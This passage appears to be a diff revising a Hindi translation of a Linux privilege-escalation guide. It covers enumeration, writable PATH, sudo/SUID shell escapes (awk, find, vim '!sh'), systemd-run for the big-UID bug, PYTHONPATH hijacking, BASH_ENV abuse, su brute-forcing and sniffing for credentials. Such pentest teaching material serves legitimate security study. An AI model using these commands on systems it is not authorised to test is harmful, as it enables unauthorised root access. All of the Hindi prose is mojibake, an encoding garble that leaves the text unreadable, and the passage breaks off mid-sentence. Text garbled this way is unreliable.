+рдРрд╕реА рдПрдХ рдиреАрддрд┐ рдХрд╛ рдЙрджрд╛рд╣рд░рдг /etc/dbus-1/system.d/wpa_supplicant.conf рдореЗрдВ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬреЛ root user рдХреЛ fi.w1.wpa_supplicant1 рд╕реЗ messages own, send, рдФрд░ receive рдХрд░рдиреЗ рдХреА permissions рд╡рд┐рд╕реНрддрд╛рд░ рд╕реЗ рдмрддрд╛рддреА рд╣реИред -рдпрджрд┐ рдиреАрддрд┐рдпреЛрдВ рдореЗрдВ рдХреЛрдИ рдирд┐рд░реНрджрд┐рд╖реНрдЯ user рдпрд╛ group рдирд╣реАрдВ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рддреЛ рд╡реЗ рд╕рд╛рд░реНрд╡рднреМрдорд┐рдХ рд░реВрдк рд╕реЗ рд▓рд╛рдЧреВ рд╣реЛрддреА рд╣реИрдВ, рдЬрдмрдХрд┐ "default" context рдиреАрддрд┐рдпрд╛рдБ рдЙрди рд╕рднреА рдкрд░ рд▓рд╛рдЧреВ рд╣реЛрддреА рд╣реИрдВ рдЬреЛ рдЕрдиреНрдп рд╡рд┐рд╢рд┐рд╖реНрдЯ рдиреАрддрд┐рдпреЛрдВ рджреНрд╡рд╛рд░рд╛ рдХрд╡рд░ рдирд╣реАрдВ рд╣реИрдВред +рдпрджрд┐ рдиреАрддрд┐рдпреЛрдВ рдореЗрдВ рдХрд┐рд╕реА рд╡рд┐рд╢реЗрд╖ user рдпрд╛ group рдХрд╛ рдЙрд▓реНрд▓реЗрдЦ рдирд╣реАрдВ рд╣реЛрддрд╛ рддреЛ рд╡реЗ рд╕рд╛рд░реНрд╡рднреМрдорд┐рдХ рд░реВрдк рд╕реЗ рд▓рд╛рдЧреВ рд╣реЛрддреА рд╣реИрдВ, рдЬрдмрдХрд┐ "default" context рдиреАрддрд┐рдпрд╛рдБ рдЙрди рд╕рднреА рдкрд░ рд▓рд╛рдЧреВ рд╣реЛрддреА рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдЕрдиреНрдп рд╡рд┐рд╢рд┐рд╖реНрдЯ рдиреАрддрд┐рдпрд╛рдБ рдХрд╡рд░ рдирд╣реАрдВ рдХрд░рддреАрдВред ```xml @@ -653,7 +637,7 @@ D-Bus рдПрдХ **allow/deny model** рдкрд░ рдЪрд▓рддрд╛ рд╣реИ, рдЬреЛ message per ``` -**рдпрд╣рд╛рдБ рдЬрд╛рдиреЗрдВ рдХреИрд╕реЗ рдПрдХ D-Bus communication рдХреЛ enumerate рдФрд░ exploit рдХрд┐рдпрд╛ рдЬрд╛рдП:** +**рдпрд╣рд╛рдБ рд╕реАрдЦреЗрдВ рдХрд┐ рдХреИрд╕реЗ D-Bus communication рдХреЛ enumerate рдФрд░ exploit рдХрд░реЗрдВ:** {{#ref}} @@ -662,7 +646,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **рдиреЗрдЯрд╡рд░реНрдХ** -рдиреЗрдЯрд╡рд░реНрдХ рдХреЛ enumerate рдХрд░рдирд╛ рдФрд░ рдорд╢реАрди рдХрд╛ рд╕реНрдерд╛рди рдкрддрд╛ рдХрд░рдирд╛ рд╣рдореЗрд╢рд╛ рд░реЛрдЪрдХ рд╣реЛрддрд╛ рд╣реИред +рдиреЗрдЯрд╡рд░реНрдХ рдХреЛ enumerate рдХрд░рдХреЗ рдФрд░ рдорд╢реАрди рдХреА рд╕реНрдерд┐рддрд┐ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рд╣рдореЗрд╢рд╛ рджрд┐рд▓рдЪрд╕реНрдк рд╣реЛрддрд╛ рд╣реИред ### рд╕рд╛рдорд╛рдиреНрдп enumeration ```bash @@ -689,22 +673,22 @@ lsof -i ``` ### Open ports -рд╣рдореЗрд╢рд╛ рдЙрд╕ рдорд╢реАрди рдкрд░ рдЪрд▓ рд░рд╣реА network services рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ рдЬрд┐рдирдХреЗ рд╕рд╛рде рдЖрдк рдЙрд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдЗрдВрдЯрд░реЗрдХреНрдЯ рдирд╣реАрдВ рдХрд░ рдкрд╛рдП рдереЗ: +рд╣рдореЗрд╢рд╛ рдЙрд╕ рдорд╢реАрди рдкрд░ рдЪрд▓ рд░рд╣реЗ network services рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ рдЬрд┐рдирд╕реЗ рдЖрдк рдЙрд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдЗрдВрдЯрд░реИрдХреНрдЯ рдирд╣реАрдВ рдХрд░ рдкрд╛рдП рдереЗ: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -рдЬрд╛рдБрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк sniff traffic рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЕрдЧрд░ рдЖрдк рдХрд░ рдкрд╛рдПрдБ рддреЛ рдЖрдк рдХреБрдЫ credentials рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк sniff traffic рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрджрд┐ рдЖрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдХреБрдЫ credentials рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ``` timeout 1 tcpdump ``` -## рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ +## Users -### рд╕рд╛рдорд╛рдиреНрдп рд╕реВрдЪреАрдХрд░рдг +### Generic Enumeration -рдЬрд╛рдБрдЪреЗрдВ рдХрд┐ рдЖрдк **who** рд╣реИрдВ, рдЖрдкрдХреЗ рдкрд╛рд╕ рдХреМрди рд╕реЗ **privileges** рд╣реИрдВ, рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдХреМрди рд╕реЗ **users** рд╣реИрдВ, рдХреМрди **login** рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдХрд┐рд╕рдХреЗ рдкрд╛рд╕ **root privileges** рд╣реИрдВ: +рдЬрд╛рдБрдЪ рдХрд░реЗрдВ рдХрд┐ рдЖрдк **рдХреМрди** рд╣реИрдВ, рдЖрдкрдХреЗ рдкрд╛рд╕ рдХреМрди рд╕реЗ **privileges** рд╣реИрдВ, рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдХреМрди рд╕реЗ **users** рд╣реИрдВ, рдХреМрди **login** рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдХрд┐рдирдХреЗ рдкрд╛рд╕ **root privileges** рд╣реИрдВ: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -726,23 +710,23 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### Big UID +### рдмрдбрд╝рд╛ UID -рдХреБрдЫ Linux рд╕рдВрд╕реНрдХрд░рдг рдПрдХ рдмрдЧ рд╕реЗ рдкреНрд░рднрд╛рд╡рд┐рдд рдереЗ рдЬреЛ рдЙрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ (рдЬрд┐рдирдХрд╛ **UID > INT_MAX** рд╣реИ) рдХреЛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдЙрдиреНрдирдпрди рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**рдЗрд╕реЗ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдХрд░реЗрдВ** рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ: **`systemd-run -t /bin/bash`** +рдХреБрдЫ Linux рд╕рдВрд╕реНрдХрд░рдг рдПрдХ рдмрдЧ рд╕реЗ рдкреНрд░рднрд╛рд╡рд┐рдд рдереЗ рдЬреЛ **UID > INT_MAX** рд╡рд╛рд▓реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ escalate privileges рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**Exploit it** using: **`systemd-run -t /bin/bash`** -### Groups +### рд╕рдореВрд╣ -рдЬрд╛рдБрдЪреЗрдВ рдХрд┐ рдЖрдк рдХрд┐рд╕реА рдРрд╕реЗ рд╕рдореВрд╣ рдХреЗ рд╕рджрд╕реНрдп рд╣реИрдВ рдЬреЛ рдЖрдкрдХреЛ root privileges рджреЗ рд╕рдХреЗ: +рдЬрд╛рдБрдЪ рдХрд░реЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдХрд┐рд╕реА рдРрд╕реЗ рд╕рдореВрд╣ рдХреЗ **рд╕рджрд╕реНрдп** рд╣реИрдВ рдЬреЛ рдЖрдкрдХреЛ root privileges рджреЗ рд╕рдХрддрд╛ рд╣реИ: {{#ref}} interesting-groups-linux-pe/ {{#endref}} -### Clipboard +### рдХреНрд▓рд┐рдкрдмреЛрд░реНрдб -рдпрджрд┐ рд╕рдВрднрд╡ рд╣реЛ рддреЛ рдЬрд╛рдБрдЪреЗрдВ рдХрд┐ рдХреНрд▓рд┐рдкрдмреЛрд░реНрдб рдХреЗ рдЕрдВрджрд░ рдХреБрдЫ рд░реЛрдЪрдХ рддреЛ рдирд╣реАрдВред +рдЬрд╛рдБрдЪ рдХрд░реЗрдВ рдХрд┐ рдХреНрд▓рд┐рдкрдмреЛрд░реНрдб рдореЗрдВ рдХреБрдЫ рд░реЛрдЪрдХ рд╣реИ рдпрд╛ рдирд╣реАрдВ (рдпрджрд┐ рд╕рдВрднрд╡ рд╣реЛ) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -759,27 +743,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### рдЬреНрдЮрд╛рдд рдкрд╛рд╕рд╡рд░реНрдб -рдпрджрд┐ рдЖрдк **рдкрд░реНрдпрд╛рд╡рд░рдг рдХрд╛ рдХреЛрдИ рднреА рдкрд╛рд╕рд╡рд░реНрдб** рдЬрд╛рдирддреЗ рд╣реИрдВ рддреЛ рдЙрд╕ рдкрд╛рд╕рд╡рд░реНрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рдкреНрд░рддреНрдпреЗрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рд▓реЙрдЧрд┐рди рдХрд░рдиреЗ** рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВред +рдпрджрд┐ рдЖрдк рдХрд┐рд╕реА рднреА environment рдХрд╛ **password рдЬрд╛рдирддреЗ рд╣реИрдВ**, рддреЛ рдЙрд╕ password рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░рддреНрдпреЗрдХ **user** рдХреЗ рд░реВрдк рдореЗрдВ **login** рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВред ### Su Brute -рдпрджрд┐ рдЖрдк рдмрд╣реБрдд рд╢реЛрд░ рдХрд░рдиреЗ рдХреА рдкрд░рд╡рд╛рд╣ рдирд╣реАрдВ рдХрд░рддреЗ рдФрд░ `su` рдФрд░ `timeout` рдмрд╛рдЗрдирд░реА рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рдореМрдЬреВрдж рд╣реИрдВ, рддреЛ рдЖрдк [su-bruteforce](https://github.com/carlospolop/su-bruteforce)\ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкрд░ brute-force рдЖрдЬрд╝рдорд╛ рд╕рдХрддреЗ рд╣реИрдВред\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) `-a` рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд╕рд╛рде рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдкрд░ brute-force рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИред +рдпрджрд┐ рдЖрдк рдЕрдзрд┐рдХ рд╢реЛрд░-рдордЪрд╛рдиреЗ рдХреА рдкрд░рд╡рд╛рд╣ рдирд╣реАрдВ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ `su` рдФрд░ `timeout` binaries рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рдореМрдЬреВрдж рд╣реИрдВ, рддреЛ рдЖрдк [su-bruteforce](https://github.com/carlospolop/su-bruteforce) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ user рдкрд░ brute-force рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ.\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) `-a` parameter рдХреЗ рд╕рд╛рде рднреА users рдкрд░ brute-force рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИред ## Writable PATH рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ ### $PATH -рдпрджрд┐ рдЖрдк рдкрд╛рддреЗ рд╣реИрдВ рдХрд┐ рдЖрдк **$PATH рдХреЗ рдХрд┐рд╕реА рдлрд╝реЛрд▓реНрдбрд░ рдХреЗ рдЕрдВрджрд░ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ** рддреЛ рдЖрдк рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ рджреНрд╡рд╛рд░рд╛ **writable рдлрд╝реЛрд▓реНрдбрд░ рдХреЗ рдЕрдВрджрд░ рдПрдХ backdoor рдмрдирд╛рдХрд░** рдЬрд┐рд╕рдХрд╛ рдирд╛рдо рдЙрд╕ рдХрдорд╛рдВрдб рдХреЗ рдирд╛рдо рдЬреИрд╕рд╛ рд╣реЛрдЧрд╛ рдЬрд┐рд╕реЗ рдХрд┐рд╕реА рджреВрд╕рд░реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ (рдЖрджрд░реНрд╢ рд░реВрдк рд╕реЗ root) рджреНрд╡рд╛рд░рд╛ execute рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдФрд░ рдЬреЛ **$PATH рдореЗрдВ рдЖрдкрдХреЗ writable рдлрд╝реЛрд▓реНрдбрд░ рд╕реЗ рдкрд╣рд▓реЗ рд╕реНрдерд┐рдд рдХрд┐рд╕реА рдлрд╝реЛрд▓реНрдбрд░ рд╕реЗ рд▓реЛрдб рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ**ред +рдпрджрд┐ рдЖрдк рдкрд╛рддреЗ рд╣реИрдВ рдХрд┐ рдЖрдк $PATH рдХреЗ рдХрд┐рд╕реА рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВ **рд▓рд┐рдЦ (write) рд╕рдХрддреЗ рд╣реИрдВ**, рддреЛ рдЖрдк privileges escalate рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЙрд╕ writable рдлрд╝реЛрд▓реНрдбрд░ рдХреЗ рдЕрдВрджрд░ рдЙрд╕реА рдирд╛рдо рдХрд╛ рдПрдХ backdoor рдмрдирд╛рдХрд░ рдЬреЛ рдХрд┐рд╕реА command рдЬреИрд╕рд╛ рд╣реЛ рдЬрд┐рд╕реЗ рдХрд┐рд╕реА рдЕрд▓рдЧ user (ideal рд░реВрдк рд╕реЗ root) рджреНрд╡рд╛рд░рд╛ execute рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдФрд░ рдЬреЛ $PATH рдореЗрдВ рдЖрдкрдХреЗ writable рдлрд╝реЛрд▓реНрдбрд░ рд╕реЗ рдкрд╣рд▓реЗ рдХрд┐рд╕реА рдлрд╝реЛрд▓реНрдбрд░ рд╕реЗ load рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ред -### SUDO рдФрд░ SUID +### SUDO and SUID -рдЖрдкрдХреЛ sudo рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреБрдЫ рдХрдорд╛рдВрдб execute рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реЛ рд╕рдХрддреА рд╣реИ, рдпрд╛ рдЙрди рдкрд░ suid bit рд▓рдЧрд╛ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕реЗ рдЬрд╛рдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП: +рдЖрдкрдХреЛ рдХреБрдЫ command рдХреЛ sudo рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ execute рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реЛ рд╕рдХрддреА рд╣реИ рдпрд╛ рдЙрди рдкрд░ suid bit рд╕реЗрдЯ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕реЗ рдЬрд╛рдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -рдХреБрдЫ **рдЕрдирдкреЗрдХреНрд╖рд┐рдд commands рдЖрдкрдХреЛ read and/or write files рдпрд╛ рдпрд╣рд╛рдБ рддрдХ рдХрд┐ execute a command рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВред** рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: +рдХреБрдЫ **рдЕрдирдкреЗрдХреНрд╖рд┐рдд commands рдЖрдкрдХреЛ files рдкрдврд╝рдиреЗ рдФрд░/рдпрд╛ рд▓рд┐рдЦрдиреЗ рдпрд╛ рдпрд╣рд╛рдБ рддрдХ рдХрд┐ рдПрдХ command рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВред** рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -790,37 +774,37 @@ less>! ``` ### NOPASSWD -Sudo рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХрд┐рд╕реА user рдХреЛ рдмрд┐рдирд╛ рдкрд╛рд╕рд╡рд░реНрдб рдЬрд╛рдиреЗ рдХрд┐рд╕реА рдЕрдиреНрдп user рдХреА privileges рдХреЗ рд╕рд╛рде рдХреЛрдИ рдХрдорд╛рдВрдб execute рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддрд╛ рд╣реИред +Sudo рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХрд┐рд╕реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдкрд╛рд╕рд╡рд░реНрдб рдЬрд╛рдиреЗ рдмрд┐рдирд╛ рдХрд┐рд╕реА рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА privileges рдХреЗ рд╕рд╛рде рдХреЛрдИ command рдЪрд▓рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддрд╛ рд╣реИ. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ `demo` `root` рдХреЗ рд░реВрдк рдореЗрдВ `vim` рдЪрд▓рд╛ рд╕рдХрддрд╛ рд╣реИ, root directory рдореЗрдВ рдПрдХ ssh key рдЬреЛрдбрд╝рдХрд░ рдпрд╛ `sh` рдХреЙрд▓ рдХрд░рдХреЗ рдЕрдм shell рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдмрд╣реБрдд рд╕рд░рд▓ рд╣реИред +рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ `demo` `vim` рдХреЛ `root` рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓рд╛ рд╕рдХрддрд╛ рд╣реИ, рдФрд░ рдЕрдм `root` рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рдПрдХ ssh key рдЬреЛрдбрд╝рдХрд░ рдпрд╛ `sh` рдХреЛ рдХреЙрд▓ рдХрд░рдХреЗ shell рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдЖрд╕рд╛рди рд╣реИред ``` sudo vim -c '!sh' ``` ### SETENV -рдпрд╣ рдирд┐рд░реНрджреЗрд╢ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдХреБрдЫ execute рдХрд░рддреЗ рд╕рдордп **set an environment variable** рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ: +рдпрд╣ рдирд┐рд░реНрджреЗрд╢ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ **set an environment variable** рдХрд░рддреЗ рд╣реБрдП рдХрд┐рд╕реА рдХрдорд╛рдВрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -рдпрд╣ рдЙрджрд╛рд╣рд░рдг, **HTB machine Admirer рдкрд░ рдЖрдзрд╛рд░рд┐рдд**, **vulnerable** рдерд╛ **PYTHONPATH hijacking** рдХреЗ рдХрд╛рд░рдг, рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ root рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓рд╛рддреЗ рд╕рдордп рдХрд┐рд╕реА рдордирдорд╛рдирд╛ python library рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП: +рдпрд╣ рдЙрджрд╛рд╣рд░рдг, **HTB machine Admirer рдкрд░ рдЖрдзрд╛рд░рд┐рдд**, **vulnerable** рдерд╛ **PYTHONPATH hijacking** рдХреЗ рд▓рд┐рдП рддрд╛рдХрд┐ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ root рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓рд╛рддреЗ рд╕рдордп рдХрд┐рд╕реА рдордирдорд╛рдирд╛ python рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЛ рд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### BASH_ENV sudo env_keep рдХреЗ рджреНрд╡рд╛рд░рд╛ рд╕рдВрд░рдХреНрд╖рд┐рдд тЖТ root shell +### BASH_ENV sudo env_keep рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рдВрд░рдХреНрд╖рд┐рдд тЖТ root shell -рдпрджрд┐ sudoers `BASH_ENV` рдХреЛ рд╕рдВрд░рдХреНрд╖рд┐рдд рдХрд░рддрд╛ рд╣реИ (рдЙрджрд╛., `Defaults env_keep+="ENV BASH_ENV"`), рддреЛ рдЖрдк Bash рдХреЗ non-interactive startup рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдХрд░ рдХрд┐рд╕реА рдЕрдиреБрдордд рдХрдорд╛рдВрдб рдХреЛ рдХреЙрд▓ рдХрд░рддреЗ рд╕рдордп arbitrary code рдХреЛ root рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВред +рдпрджрд┐ sudoers `BASH_ENV` рдХреЛ рд╕рдВрд░рдХреНрд╖рд┐рдд рдХрд░рддрд╛ рд╣реИ (рдЙрджрд╛., `Defaults env_keep+="ENV BASH_ENV"`), рддреЛ рдЖрдк Bash рдХреЗ рдЧреИрд░-рдЗрдВрдЯрд░реИрдХреНрдЯрд┐рд╡ рд╕реНрдЯрд╛рд░реНрдЯрдЕрдк рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рд╕реА рдЕрдиреБрдордд рдХрдорд╛рдВрдб рдХреЛ рдХреЙрд▓ рдХрд░рддреЗ рд╕рдордп рдордирдорд╛рдирд╛ рдХреЛрдб рдХреЛ root рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВред -- рдпрд╣ рдХреНрдпреЛрдВ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ: Non-interactive shells рдХреЗ рд▓рд┐рдП, Bash `$BASH_ENV` рдХрд╛ рдореВрд▓реНрдпрд╛рдВрдХрди рдХрд░рддрд╛ рд╣реИ рдФрд░ target script рдХреЛ рдЪрд▓рд╛рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдЙрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЛ source рдХрд░рддрд╛ рд╣реИред рдХрдИ sudo рдирд┐рдпрдо рдПрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдпрд╛ shell wrapper рдЪрд▓рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВред рдпрджрд┐ `BASH_ENV` sudo рджреНрд╡рд╛рд░рд╛ рд╕рдВрд░рдХреНрд╖рд┐рдд рд╣реИ, рддреЛ рдЖрдкрдХреА рдлрд╝рд╛рдЗрд▓ root privileges рдХреЗ рд╕рд╛рде source рдХреА рдЬрд╛рдПрдЧреАред +- рдпрд╣ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ: рдЧреИрд░-рдЗрдВрдЯрд░реИрдХреНрдЯрд┐рд╡ рд╢реЗрд▓ рдХреЗ рд▓рд┐рдП, Bash `$BASH_ENV` рдХрд╛ рдореВрд▓реНрдпрд╛рдВрдХрди рдХрд░рддрд╛ рд╣реИ рдФрд░ рд▓рдХреНрд╖реНрдп рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЪрд▓рд╛рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдЙрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЛ source рдХрд░рддрд╛ рд╣реИред рдХрдИ sudo рдирд┐рдпрдо рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдпрд╛ рд╢реЗрд▓ wrapper рдЪрд▓рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВред рдпрджрд┐ `BASH_ENV` sudo рджреНрд╡рд╛рд░рд╛ рд╕рдВрд░рдХреНрд╖рд┐рдд рд╣реИ, рддреЛ рдЖрдкрдХреА рдлрд╝рд╛рдЗрд▓ root рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рде source рдХреА рдЬрд╛рддреА рд╣реИред - рдЖрд╡рд╢реНрдпрдХрддрд╛рдПрдБ: -- рдРрд╕рд╛ sudo рдирд┐рдпрдо рдЬреЛ рдЖрдк рдЪрд▓рд╛ рд╕рдХреЗрдВ (рдХреЛрдИ рднреА рд▓рдХреНрд╖реНрдп рдЬреЛ рдЧреИрд░-рдЗрдВрдЯрд░реИрдХреНрдЯрд┐рд╡ рд░реВрдк рд╕реЗ `/bin/bash` рдХреЛ invoke рдХрд░рддрд╛ рд╣реИ, рдпрд╛ рдХреЛрдИ рднреА bash script)ред -- `BASH_ENV` `env_keep` рдореЗрдВ рдореМрдЬреВрдж рд╣реЛ (рдЬрд╛рдБрдЪ рдХреЗ рд▓рд┐рдП `sudo -l` рдЪрд▓рд╛рдПрдБ)ред +- рдПрдХ sudo рдирд┐рдпрдо рдЬрд┐рд╕реЗ рдЖрдк рдЪрд▓рд╛ рд╕рдХрддреЗ 